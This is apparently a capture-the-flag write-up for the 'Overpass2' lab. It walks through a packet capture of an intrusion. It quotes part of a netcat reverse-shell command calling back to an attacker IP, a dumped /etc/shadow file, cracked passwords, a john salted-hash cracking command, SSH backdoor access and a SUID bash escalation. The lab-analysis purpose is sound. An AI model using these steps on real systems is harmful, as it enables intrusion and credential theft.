Overpass2

We are given a capture of traffic in the network at the moment of the attack.
Let's use wireshark to analyse what happened.

In the tcp stream 0, we can see that the **/development endpoint is reached.**
On this endpoint, a php file called upload.php can be retrieve, a script which may allow to upload files.
We can also see in the tcp stream 1, that attackers have uploaded a php script containing the following command :

> &1|nc 192.168.170.145 4242 >/tmp/f")?>

Which must force the webserver to throw a netcat reverse shell to attackers when accessing this following url :

> /development/uploads/payload.php

The tcp stream 3 show the traffic of this reverse shell, and show in plaintext what commands were used and the results of thoses commands.
Attackers privesc to the james account using this password : whenevernoteartinstant
They also downloaded a program : git clone https://github.com/NinjaJc01/ssh-backdoor, which must be an ssh backdoor.

In this stream, the content of the /etc/passwd file is show :

```
 sudo cat /etc/shadow
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::
```

Thoses password could be cracked :

```
1qaz2wsx         (muirland)
abcd123          (szymex)
secret12         (bee)
secuirty3        (paradox)
```

We can find the following informations analysing the code of the ssh backdoor on github :
hardcoded hash : bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
hardcoded salt : 1c362db832f3f864c8c2fe05f2002a05

And in the network traffic :
hash used by attacker : 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

We have a hash and a salt, we need to combien them to make it crackable
Our crakable hash is in the form password$salt

> 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed$1c362db832f3f864c8c2fe05f2002a05

We can now crack it using john the ripper, but we need to precise that we have a sha512 hash with a salt

> sudo john ssh.hash --format='dynamic=sha512($p.$s)' --wordlist=/usr/share/wordlists/rockyou.txt

We get : november16

Let's connect to the SSH Backdoor.

> ssh james@10.10.7.215 -p 2222 -oHostKeyAlgorithms=+ssh-rsa

We need to add -oHostKeyAlgorithms=+ssh-rsa because open-ssh deprecated the ssh-rsa protocol

Searching around the system with linpeas, we can find a weird SUID binary at : -rwsr-sr-x 1 root root 1.1M Jul 22 2020 /home/james/.suid_bash

Executing the script, it get us a bash shell, but without the root permissions.
To make it keep the root permissions, we need to add a -p
/home/james/.suid_bash -p